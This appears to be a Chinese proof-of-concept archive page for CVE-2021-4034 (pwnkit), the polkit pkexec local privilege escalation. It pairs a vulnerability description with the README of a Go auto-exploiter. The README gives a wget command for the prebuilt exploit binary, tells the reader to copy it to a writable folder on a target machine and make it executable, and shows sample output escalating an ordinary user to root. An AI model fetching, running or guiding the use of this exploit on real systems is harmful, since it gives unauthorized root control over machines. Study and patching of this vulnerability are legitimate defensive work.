关联漏洞
标题：
polkit 缓冲区错误漏洞
(CVE-2021-4034)
描述：polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。
描述
pwnkit auto exploiter written in Go, no network connectivity required.
介绍
# CVE-2021-4034
This is my own implementation of CVE-2021-4034, more commonly known as pwnkit. Unlike other automated exploits of CVE-2021-4034 this implementation does not download any additional payloads and is contained all within one easy to transfer file.
## Download
```shell
wget https://github.com/1337Rin/CVE-2021-4034/raw/main/pwnkit
```
## Usage
This exploit has no cli options but it does check if the system is vulnerable and has all the required external commands. To use it just transfer the compiled binary to a writable folder on the target machine and make it executable.
```shell
$ chmod +x pwnkit
```
### Example 1
```shell
./pwnkit
[+] Testing to see if machine is vulnerable
[-] This machine is not vulnerable to pwnkit
[-] Exiting
```
### Example 2
```shell
$ whoami
tester
$ ./pwnkit
[+] Testing to see if machine is vulnerable
[+] This machine is vulnerable to pwnkit
[+] Checking for required commands
[+] gcc exists
[+] echo exists
[+] mkdir exists
[+] cp exists
[+] attempting exploit
manual clean up required
# whoami
root
```
文件快照
[4.0K] /data/pocs/fd362bc77e7b2c5279d7208e22f8ce701201c8fb
├── [ 34K] LICENSE
├── [2.3M] pwnkit
├── [3.7K] pwnkit.go
└── [1.0K] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。